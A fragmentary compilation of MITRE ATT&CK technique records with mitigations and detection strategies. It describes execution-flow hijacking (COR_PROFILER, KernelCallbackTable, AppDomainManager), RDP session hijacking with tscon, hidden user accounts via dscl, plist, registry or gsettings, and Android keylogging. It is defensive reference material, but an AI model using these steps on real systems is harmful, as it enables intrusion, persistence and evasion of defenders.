be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.\n\nThe `Performance` key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL. If the `Performance` key is not already present and if an adversary-controlled user has the `Create Subkey` permission, adversaries may create the `Performance` key in the service’s Registry tree to point to a malicious DLL.\n\nAdversaries may also add the `Parameters` key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the `Parameters` key of a given services registry configuration. By placing and configuring the `Parameters` key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked. […]\n\n## Reference: ATT&CK T1574.012 COR_PROFILER\n**ATT&CK T1574.012 COR_PROFILER (full record).** Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the.NET CLR. The COR_PROFILER is a.NET Framework feature which allows developers to specify an unmanaged (or external of.NET) profiling DLL to be loaded into each.NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the.NET CLR.\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a Component Object Model (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with.NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all.NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: Bypass User Account Control) if the victim.NET process executes at a higher permission level, as well as to hook and impair defenses provided by.NET processes.\n\n**Classification.** - Tactics: stealth, execution\n- Platforms: Windows\n- Sub-technique of: T1574 Hijack Execution Flow - Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs.

By limiting access, organizations can prevent unauthorized changes that adversaries might use for persistence, privilege escalation, or defense evasion. […]\n\n## Reference: ATT&CK T1574.013 KernelCallbackTable\n**ATT&CK T1574.013 KernelCallbackTable (full record).** Adversaries may abuse the `KernelCallbackTable` of a process to hijack its execution flow in order to run their own payloads. The `KernelCallbackTable` can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once `user32.dll` is loaded.\n\nAn adversary may hijack the execution flow of a process using the `KernelCallbackTable` by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as Reflective Code Loading or Process Injection into another process.\n\nA pointer to the memory address of the `KernelCallbackTable` can be obtained by locating the PEB (ex: via a call to the `NtQueryInformationProcess` Native API function). Once the pointer is located, the `KernelCallbackTable` can be duplicated, and a function in the table (e.g., `fnCOPYDATA`) set to the address of a malicious payload (ex: via `WriteProcessMemory`). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.\n\nThe tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the `KernelCallbackTable` may also be restored to its original state by the rest of the malicious payload. Use of the `KernelCallbackTable` to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.\n\n**Classification.** - Tactics: stealth, execution\n- Platforms: Windows\n- Sub-technique of: T1574 Hijack Execution Flow - Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs.

The.NET framework uses the `AppDomainManager` class to create and manage one or more isolated runtime environments (called application domains) inside a process to host the execution of.NET applications. Assemblies (`.exe` or `.dll` binaries compiled to run as.NET code) may be loaded into an application domain as executable code.\n\nKnown as \"AppDomainManager injection,\" adversaries may execute arbitrary code by hijacking how.NET applications load assemblies. For example, malware may create a custom application domain inside a target process to load and execute an arbitrary assembly. Alternatively, configuration files (`.config`) or process environment variables that define.NET runtime settings may be tampered with to instruct otherwise benign.NET applications to load a malicious assembly (identified by name) into the target process.\n\n**Classification.** - Tactics: stealth, execution\n- Platforms: Windows\n- Sub-technique of: T1574 Hijack Execution Flow - Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time.\n\n**Mitigations.** - **Restrict File and Directory Permissions**: Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files.\n\n**Detection strategies and analytics.** - **Detection Strategy for Hijack Execution Flow through the AppDomainManager on Windows.**\n  - Detection focuses on unauthorized manipulation of.NET AppDomainManager behavior.

This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.\n\nDGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.\n\nAdversaries may use DGAs for the purpose of Fallback Channels.

This can be achieved through allowlists, software restriction policies, endpoint management tools, and least privilege access principles. This mitigation can be implemented through the following measures:\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n- **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detection Strategy for Lua Scripting Abuse**\n  - Detects execution of Lua interpreters or scripts (.lua), especially when correlated with suspicious parent processes or file drop events, indicating malicious use of embedded scripting.

Some common examples of Docker CLI include Docker Desktop CLI and Docker Compose, but users are also able to use SDKs to interact with the API. For example, Docker SDK for Python can be used to run commands within a Python application.\n\nAdversaries may leverage the Docker CLI, API, or SDK to pull or build Docker images (i.e., Ingress Tool Transfer, Build Image on Host), run containers (i.e., Deploy Container), or execute commands inside running containers (i.e., Container Administration Command). In some cases, threat actors may pull legitimate images that include scripts or tools that they can leverage - for example, using an image that includes the `curl` command to download payloads. Adversaries may also utilize `docker inspect` and `docker ps` to scan for cloud environment variables and other running containers (i.e., Container and Resource Discovery).\n\nKubernetes is responsible for the management and orchestration of containers across clusters. The Kubernetes control plane, which manages the state of the cluster and is responsible for scheduling, communication, and resource monitoring, can be invoked directly via the API or indirectly via CLI tools such as `kubectl`. It may also be accessed within client libraries such as Go or Python. By utilizing the API, administrators can interact with resources within the cluster such as listing or creating pods, which is a group of one or more containers. Adversaries call the API server via `curl` or other tools, allowing them to obtain further information about the environment such as pods, deployments, daemonsets, namespaces, or sysvars. They may also run various commands regarding resource management.\n\n**Classification.** - Tactics: execution\n- Platforms: Containers\n- Sub-technique of: T1059 Command and Scripting Interpreter - Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. […]\n\n## Reference: ATT&CK T1068 Exploitation for Privilege Escalation\n**ATT&CK T1068 Exploitation for Privilege Escalation (full record).** Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.\n\nAdversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD). Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via Ingress Tool Transfer or Lateral Tool Transfer.\n\n**Classification.** - Tactics: privilege-escalation\n- Platforms: Containers, Linux, macOS, Windows\n\n**Mitigations.** - **Update Software**: Software updates ensure systems are protected against known vulnerabilities by applying patches and upgrades provided by vendors. Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n- **Exploit Protection**: Deploy capabilities that detect, block, and mitigate conditions indicative of software exploits. […]\n\n## Reference: ATT&CK T1070 Indicator Removal\n**ATT&CK T1070 Indicator Removal (full record).** Adversaries may selectively delete or modify artifacts generated to reduce indications of their presence and blend in with legitimate activity. Rather than broadly removing evidence, adversaries may target specific artifacts that appear anomalous or are likely to draw scrutiny, while leaving sufficient data intact to maintain the appearance of normal system behavior.\n\nArtifacts such as command histories, log entries, or file metadata may be altered in ways that align with expected user or system activity. Location, format, and type of artifact (such as command or login history) are often platform-specific, allowing adversaries to tailor modifications that minimize suspicion.\n\nThese actions may not prevent detection entirely but can delay recognition of malicious activity or reduce the fidelity of alerts by making events appear benign or consistent with routine operations. Additionally, selectively removed or modified artifacts may still be recoverable through deeper forensic analysis, though their absence or alteration can complicate timeline reconstruction and attribution.\n\n**Classification.** - Tactics: stealth\n- Platforms: Containers, ESXi, Linux, macOS, Network Devices, Office Suite, Windows\n\n**Sub-techniques.** - T1070.004 File Deletion: Adversaries may delete files left behind by the actions of their intrusion activity.\n- T1070.006 Timestomp: Adversaries may modify file time attributes to hide new files or changes to existing files.\n- T1070.008 Clear Mailbox Data: Adversaries may modify mail and mail application data to remove evidence of their activity.\n- T1070.009 Clear Persistence: Adversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity.\n- T1070.003 Clear Command History: In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion.\n- T1070.010 Relocate Malware: Once a payload is delivered, adversaries may reproduce copies of the same malware on the victim system to remove evidence of their presence and/or avoid defenses.

Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).\n\nAdversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\\windows\\system32\\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user. This can be done remotely or locally and with active or disconnected sessions. It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Windows\n- Sub-technique of: T1563 Remote Service Session Hijacking - Adversaries may take control of preexisting sessions with remote services to move laterally in an environment.

Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users.\n\nIn macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value `Hide500Users` to `TRUE` in the `/Library/Preferences/com.apple.loginwindow` plist file. Every user has a userID associated with it. When the `Hide500Users` key value is set to `TRUE`, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the `dscl` utility to create hidden user accounts by setting the `IsHidden` attribute to `1`. Adversaries can also hide a user’s home folder by changing the `chflags` to hidden.\n\nAdversaries may similarly hide user accounts in Windows. Adversaries can set the `HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList` Registry key value to `0` for a specific user to prevent that user from being listed on the logon screen.\n\nOn Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the `gsettings` command (ex: `sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true`). Display Managers are not anchored to specific distributions and may be changed by a user or adversary. […]"}]}

This mitigation can be implemented through the following measures:\n\nSegment Critical Systems:\n\n- Identify and group systems based on their function, sensitivity, and risk.

Multicast discovery tends to be stealthier than broadcast discovery because every system or device on the network (or subnet) is not being messaged.\n\nOne common OT protocol that has a multicast discovery mechanism is the Process Field Network (PROFINET) Discovery and Configuration Protocol (DCP) with its Identify All requests.\n\n**Classification.** - Tactics: discovery\n- Platforms: Embedded, Windows, Linux, Network Devices\n- Sub-technique of: T0846 Remote System Discovery - Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for subsequent Lateral Movement or Discovery techniques.\n\n**Mitigations.** - **Static Network Configuration**: Configure hosts and devices to use static network configurations when possible, protocols that require dynamic discovery/addressing (e.g., ARP, DHCP, DNS) can be used to manipulate network message forwarding and enable various AiTM attacks.

The adversary may rely on unknowing trusted third parties, such as suppliers or contractors with access privileges, to introduce the removable media. This technique enables initial access to target devices that never connect to untrusted networks, but are physically accessible.\n\nOperators of the German nuclear power plant, Gundremmingen, discovered malware on a facility computer not connected to the internet. The malware included Conficker and W32.Ramnit, which were also found on eighteen removable disk drives in the facility. The plant has since checked for infection and cleaned up more than 1,000 computers.

Impersonating a master may also allow an adversary to avoid detection.\n\nIn the case of the 2017 Dallas Siren incident, adversaries used a rogue master to send command messages to the 156 distributed sirens across the city, either through a single rogue transmitter with a strong signal, or using many distributed repeaters.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Software Process and Device Authentication**: Require the authentication of devices and software processes where appropriate. Devices that connect remotely to other systems should require strong authentication to prevent spoofing of communications. Furthermore, software processes should also require authentication when accessing APIs.\n- **Filter Network Traffic**: Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic. Perform inline allow/denylisting of network messages based on the application layer (OSI Layer 7) protocol, especially for automation protocols. Application allowlists are beneficial when there are well-defined communication sequences, types, rates, or patterns needed during expected system operations.\n- **Network Segmentation**: Architect sections of the network to isolate critical systems, functions, or resources.

Possible disguises of these masquerading files can include commonly found programs, expected vendor executables and configuration files, and other commonplace application and naming conventions. By impersonating expected and vendor-relevant files and applications, operators and engineers may not notice the presence of the underlying malicious content and possibly end up running those masquerading as legitimate functions.\n\nApplications and other files commonly found on Windows systems or in engineering workstations have been impersonated before. This can be as simple as renaming a file to effectively disguise it in the ICS environment.\n\n**Classification.** - Tactics: evasion\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Code Signing**: Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.\n- **Execution Prevention**: Block execution of code on a system through application control, and/or script blocking.\n- **Restrict File and Directory Permissions**: Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.\n\n**Detection strategies and analytics.** - **Detection of Masquerading**\n  - Real-time monitoring identifies a process or scheduled task whose displayed name matches a known Industrial Control System (ICS) vendor application but whose on-disk binary hash or file path does not match the vendor-signed baseline.

From the defender’s perspective, observable patterns include unexpected creation or modification of dylib files in application bundle paths, unusual module loads by processes compared to historical baselines, and execution of applications loading dylibs from suspicious directories (e.g., /tmp, user-controlled paths). Correlation across file system changes, process execution, and module loads provides high-fidelity detection.

The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with `@rpath`, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the `LC_LOAD_WEAK_DYLIB` function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path. Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.\n\n## Reference: ATT&CK T1602.001 SNMP (MIB Dump)\n**ATT&CK T1602.001 SNMP (MIB Dump) (full record).** Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).\n\nThe MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages. The MIB may also contain device operational information, including running configuration, routing table, and interface details.\n\nAdversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.\n\n**Classification.** - Tactics: collection\n- Platforms: Network Devices\n- Sub-technique of: T1602 Data from Configuration Repository - Adversaries may collect data related to managed devices from configuration repositories.

The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n\nAuditing is applicable to all systems used within an organization, from the front door of a building to accessing a file on a fileserver. It is considered more critical for regulated industries such as, healthcare, finance and government where compliance requirements demand stringent tracking of user and system activates.This mitigation can be implemented through the following measures:\n\nSystem Audit:\n\n- Use Case: Regularly assess system configurations to ensure compliance with organizational security policies.\n- Implementation: Use tools to scan for deviations from established benchmarks.\n\nPermission Audits:\n\n- Use Case: Review file and folder permissions to minimize the risk of unauthorized access or privilege escalation.\n- Implementation: Run access reviews to identify users or groups with excessive permissions.\n\nSoftware Audits:\n\n- Use Case: Identify outdated, unsupported, or insecure software that could serve as an attack vector.\n- Implementation: Use inventory and vulnerability scanning tools to detect outdated versions and recommend secure alternatives.\n\nConfiguration Audits:\n\n- Use Case: Evaluate system and network configurations to ensure secure settings (e.g., disabled SMBv1, enabled MFA).\n- Implementation: Implement automated configuration scanning tools like SCAP (Security Content Automation Protocol) to identify non-compliant systems.\n\nNetwork Audits:\n\n- Use Case: Examine network traffic, firewall rules, and endpoint communications to identify unauthorized or insecure connections.\n- Implementation: Utilize tools such as Wireshark, or Zeek to monitor and log suspicious network behavior.\n\n## User Account Control\nUser Account Control (UAC) is a security feature in Microsoft Windows that prevents unauthorized changes to the operating system. UAC prompts users to confirm or provide administrator credentials when an action requires elevated privileges. Proper configuration of UAC reduces the risk of privilege escalation attacks. This mitigation can be implemented through the following measures:\n\nEnable UAC Globally:\n\n- Ensure UAC is enabled through Group Policy by setting `User Account Control: Run all administrators in Admin Approval Mode` to `Enabled`.\n\nRequire Credential Prompt:\n\n- Use Group Policy to configure UAC to prompt for administrative credentials instead of just confirmation (`User Account Control: Behavior of the elevation prompt`).\n\nRestrict Built-in Administrator Account:\n\nSet `Admin Approval Mode` for the built-in Administrator account to `Enabled` in Group Policy.\n\nSecure the UAC Prompt:\n\n- Configure UAC prompts to display on the secure desktop (`User Account Control: Switch to the secure desktop when prompting for elevation`).\n\nPrevent UAC Bypass:\n\n- Block untrusted applications from triggering UAC prompts by configuring `User Account Control: Only elevate executables that are signed and validated`.\n- Use EDR tools to detect and block known UAC bypass techniques.\n\nMonitor UAC-Related Events:\n\n- Use Windows Event Viewer to monitor for event ID 4688 (process creation) and look for suspicious processes attempting to invoke UAC elevation.\n\n*Tools for Implementation*\n\nBuilt-in Windows Tools:\n\n- Group Policy Editor: Configure UAC settings centrally for enterprise environments.\n- Registry Editor: Modify UAC-related settings directly, such as `EnableLUA` and `ConsentPromptBehaviorAdmin`.\n\nEndpoint Security Solutions:\n\n- Microsoft Defender for Endpoint: Detects and blocks UAC bypass techniques.\n- Sysmon: Logs process creations and monitors UAC elevation attempts for suspicious activity.\n\nThird-Party Security Tools:\n\n- Process Monitor (Sysinternals): Tracks real-time processes interacting with UAC.\n- EventSentry: Monitors Windows Event Logs for UAC-related alerts.\n\n## User Account Management\nUser Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n\nEnforcing the Principle of Least Privilege\n\n- Implementation: Assign users only the minimum permissions required to perform their job functions. Regularly audit accounts to ensure no excess permissions are granted.\n- Use Case: Reduces the risk of privilege escalation by ensuring accounts cannot perform unauthorized actions.\n\nImplementing Strong Password Policies\n\n- Implementation: Enforce password complexity requirements (e.g., length, character types). Require password expiration every 90 days and disallow password reuse.\n- Use Case: Prevents adversaries from gaining unauthorized access through password guessing or brute force attacks.\n\nManaging Dormant and Orphaned Accounts\n\n- Implementation: Implement automated workflows to disable accounts after a set period of inactivity (e.g., 30 days). Remove orphaned accounts (e.g., accounts without an assigned owner) during regular account audits.\n- Use Case: Eliminates dormant accounts that could be exploited by attackers.\n\nAccount Lockout Policies\n\n- Implementation: Configure account lockout thresholds (e.g., lock accounts after five failed login attempts). Set lockout durations to a minimum of 15 minutes.\n- Use Case: Mitigates automated attack techniques that rely on repeated login attempts.\n\nMulti-Factor Authentication (MFA) for High-Risk Accounts\n\n- Implementation: Require MFA for all administrative accounts and high-risk users. Use MFA mechanisms like hardware tokens, authenticator apps, or biometrics.\n- Use Case: Prevents unauthorized access, even if credentials are stolen.\n\nRestricting Interactive Logins\n\n- Implementation: Restrict interactive logins for privileged accounts to specific secure systems or management consoles. Use group policies to enforce logon restrictions.\n- Use Case: Protects sensitive accounts from misuse or exploitation.\n\n*Tools for Implementation*\n\nBuilt-in Tools:\n\n- Microsoft Active Directory (AD): Centralized account management and RBAC enforcement.\n- Group Policy Object (GPO): Enforce password policies, logon restrictions, and account lockout policies.\n\nIdentity and Access Management (IAM) Tools:\n\n- Okta: Centralized user provisioning, MFA, and SSO integration.\n- Microsoft Azure Active Directory: Provides advanced account lifecycle management, role-based access, and conditional access policies.\n\nPrivileged Account Management (PAM):\n- CyberArk, BeyondTrust, Thycotic: Manage and monitor privileged account usage, enforce session recording, and JIT access.\n\n## Principle\nAgainst T1574.005, prefer preventive controls that remove the preconditions over purely detective controls, and layer the two.\n\n## Reference: ATT&CK T1135 Network Share Discovery\n**ATT&CK T1135 Network Share Discovery (full record).** Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.\n\nFile sharing over a Windows network occurs over the SMB protocol. Net can be used to query a remote system for available shared drives using the `net view \\\\\\\\remotesystem` command. It can also be used to query shared drives on the local system using `net share`. For macOS, the `sharing -l` command lists all shared points used for smb services.\n\n**Classification.** - Tactics: discovery\n- Platforms: Linux, macOS, Windows\n\n**Mitigations.** - **Operating System Configuration**: Operating System Configuration involves adjusting system settings and hardening the default configurations of an operating system (OS) to mitigate adversary exploitation and prevent abuse of system functionality.

These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the `%TEMP%` directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL search order hijacking.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n## Reference: ATT&CK M0920 SSL/TLS Inspection\n**ATT&CK M0920 SSL/TLS Inspection (full record).** Break and inspect SSL/TLS sessions to look at encrypted web traffic for adversary activity.\n\n**Counters techniques.** - T0884 Connection Proxy\n\n## Reference: ATT&CK M0921 Restrict Web-Based Content\n**ATT&CK M0921 Restrict Web-Based Content (full record).** Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.\n\n**Counters techniques.** - T0863 User Execution\n- T1701.006 JavaScript\n- T0865 Spearphishing Attachment\n- T1701.004 Visual Basic\n- T0817 Drive-by Compromise\n\n## Reference: ATT&CK M0922 Restrict File and Directory Permissions\n**ATT&CK M0922 Restrict File and Directory Permissions (full record).** Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.\n\n**Counters techniques.** - T0809 Data Destruction\n- T0882 Theft of Operational Information\n- T0873 Project File Infection\n- T0881 Service Stop\n- T0811 Data from Information Repositories\n- T0872 Indicator Removal on Host\n- T0893 Data from Local System\n- T0849 Masquerading\n- T0873.001 Siemens Project File Format\n\n## Reference: ATT&CK M0924 Restrict Registry Permissions\n**ATT&CK M0924 Restrict Registry Permissions (full record).** Restrict the ability to modify certain hives or keys in the Windows Registry.\n\n**Counters techniques.** - T0881 Service Stop\n\n## Reference: ATT&CK M0926 Privileged Account Management\n**ATT&CK M0926 Privileged Account Management (full record).** Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.\n\n**Counters techniques.** - T0859 Valid Accounts\n- T0842 Network Sniffing\n- T1701.001 PowerShell\n- T0866 Exploitation of Remote Services\n- T0811 Data from Information Repositories\n- T0819 Exploit Public-Facing Application\n- T0809 Data Destruction\n\n## Reference: ATT&CK M0927 Password Policies\n**ATT&CK M0927 Password Policies (full record).** Set and enforce secure password policies for accounts.\n\n**Counters techniques.** - T1694.001 Default Credentials\n- T0886 Remote Services\n- T0892 Change Credential\n- T0822 External Remote Services\n- T0859 Valid Accounts\n\n## Reference: ATT&CK M0928 Operating System Configuration\n**ATT&CK M0928 Operating System Configuration (full record).** Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.\n\n**Counters techniques.** - T0847 Replication Through Removable Media\n- T0895 Autorun Image\n\n## Reference: ATT&CK M0930 Network Segmentation\n**ATT&CK M0930 Network Segmentation (full record).** Architect sections of the network to isolate critical systems, functions, or resources.

The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n- **User Account Control**: User Account Control (UAC) is a security feature in Microsoft Windows that prevents unauthorized changes to the operating system. UAC prompts users to confirm or provide administrator credentials when an action requires elevated privileges. Proper configuration of UAC reduces the risk of privilege escalation attacks. This mitigation can be implemented through the following measures:\n- **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n\n## Reference: ATT&CK T1417.001 Keylogging\n**ATT&CK T1417.001 Keylogging (full record).** Adversaries may log user keystrokes to intercept credentials or other information from the user as the user types them.\n\nSome methods of keylogging include:\n\n* Masquerading as a legitimate third-party keyboard to record user keystrokes. On both Android and iOS, users must explicitly authorize the use of third-party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested.\n* Abusing accessibility features. On Android, adversaries may abuse accessibility features to record keystrokes by registering an `AccessibilityService` class, overriding the `onAccessibilityEvent` method, and listening for the `AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED` event type. The event object passed into the function will contain the data that the user typed.\n*Additional methods of keylogging may be possible if root access is available.\n\n**Classification.** - Tactics: collection, credential-access\n- Platforms: Android, iOS\n- Sub-technique of: T1417 Input Capture - Adversaries may use methods of capturing user input to obtain credentials or collect information.

The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Compared to traditional PCs, the constrained display size of mobile devices may impair the ability to provide users with contextual information, making users more susceptible to this technique’s use.\n\nThere are several approaches adversaries may use to mimic this functionality. Adversaries may impersonate the identity of a legitimate application (e.g. use the same application name and/or icon) and, when installed on the device, may prompt the user for sensitive information. Adversaries may also send fake device notifications to the user that may trigger the display of an input prompt when clicked.\n\nAdditionally, adversaries may display a prompt on top of a running, legitimate application to trick users into entering sensitive information into a malicious application rather than the legitimate application. Typically, adversaries need to know when the targeted application and the individual activity within the targeted application is running in the foreground to display the prompt at the proper time. Adversaries can abuse Android’s accessibility features to determine which application is currently in the foreground. Two known approaches to displaying a prompt include:\n\n* Adversaries start a new activity on top of a running legitimate application. Android 10 places new restrictions on the ability for an application to start a new activity on top of another application, which may make it more difficult for adversaries to utilize this technique.\n* Adversaries create an application overlay window on top of a running legitimate application. Applications must hold the `SYSTEM_ALERT_WINDOW` permission to create overlay windows. This permission is handled differently than typical Android permissions and, at least under certain conditions, is automatically granted to applications installed from the Google Play Store. The `SYSTEM_ALERT_WINDOW` permission and its associated ability to create application overlay windows are expected to be deprecated in a future release of Android in favor of a new API.

Proper OS configurations address security vulnerabilities, limit attack surfaces, and ensure robust defense against a wide range of techniques. This mitigation can be implemented through the following measures:\n- **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Detection Strategy for Hijack Execution Flow: Dynamic Linker Hijacking**\n  - Detection focuses on identifying abuse of LD_PRELOAD and related linker variables. Defender perspective: monitor unexpected setting or modification of LD_PRELOAD in shell initialization scripts or environment exports, file creation of suspicious shared libraries, and correlation of these modifications with anomalous process execution. Key signals include execve events with LD_PRELOAD defined, newly created.so files in user directories, and processes hooking libc functions exhibiting abnormal behavior. (telemetry: auditd:SYSCALL:execve with LD_PRELOAD or linker-related environment variables set, auditd:PATH:creation of .so files in non-standard directories (e.g., /tmp, /home/*), linux:osquery:process environment variables containing 